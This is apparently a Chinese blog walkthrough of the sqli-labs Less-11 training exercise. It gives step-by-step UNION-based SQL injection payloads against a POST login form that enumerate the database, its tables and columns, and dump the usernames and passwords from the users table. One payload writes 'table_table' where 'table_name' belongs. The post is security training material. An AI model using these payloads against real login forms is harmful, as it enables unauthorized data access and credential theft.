当前位置:网站首页>sqli-labs(less-11)
sqli-labs(less-11)
2022-07-17 10:50:00 【不知名白帽】
目录
less-11(POST注入)
1.send to Repeater

2.单引号报错

3. 查库名
aadmin' union select user(),database()--

4.查表名
aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--

5.查段名
aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_table='users'--

6.查数据
aadmin' union select 1,group_concat(username,':',password) from users --

7.用查到的数据Dumb登录

边栏推荐
- 【摸鱼神器】UI库秒变低代码工具——表单篇(二)子控件
- Chapter 4 - first order multi-agent system consistency - > continuous time system consistency with time delay [program code]
- The inflection point of eth may be just around the corner, which is how to
- 第一部分—C语言基础篇_4. 程序流程结构
- Convert video format to GIF picture format
- Fundamentals of C language -- 2-3 pointers and arrays
- Dedecms dream weaving article list Title repeated display solution
- D. Mark and Lightbulbs
- LDA classifier
- Among China's top ten national snacks, it is actually the first
猜你喜欢

关于基础模块中的依赖由微服务中的子模块继承的时候依赖失效的问题

Convert video format to GIF picture format

Add - before the command in makefile to ignore the error caused by the command and continue to execute the next command
![[Network Research Institute] the threat of machine learning system is time to take it seriously](/img/9b/dd75a7b86743569711819bb97840b1.png)
[Network Research Institute] the threat of machine learning system is time to take it seriously

rhcsa 第二天 7.15
![[C language] storage of shaping data](/img/50/5454826da9a671fff0138388d23469.png)
[C language] storage of shaping data

CLWY权限管理(一)--- 项目搭建

On the problem of dependency invalidation when the dependency in the basic module is inherited by the sub module in the microservice

【C语言】整形数据的存储

The study found that DNA nano device injection can be safely used for medical purposes
随机推荐
Dedecms dream weaving article list Title repeated display solution
第十一章 STL 之 queue
CLWY权限管理(一)--- 项目搭建
【C语言】浮点型在内存的存储
Week 1: introduction to deep learning and foundation of pytorch
DuiLib 实现tooltip自定义鼠标提示窗口
MySQL -- SQL optimization case -- implicit character encoding conversion
【565. 数组嵌套】
实用工具系列 - Xshell安装下载与使用
rhcsa 第一天 7.11
MySQL--SQL优化案例--隐式字符编码转换
Anycontrol demo demo demo
研究发现DNA纳米设备注射液可安全用于医疗用途
对文本实现分词以及绘制词云
【C语言】自定义类型初阶知识点
R language ggplot2 visual faceting: ggplot2 visualizes facets and removes the border lines between facets and the gap between facets (remove spacing between panels)
PTA 1037 在霍格沃茨找零钱
OLED displays how to understand the character sizes of 12*6, 16*8, 24*12, etc
[C language] summary of function knowledge points
[C language] user defined type elementary knowledge points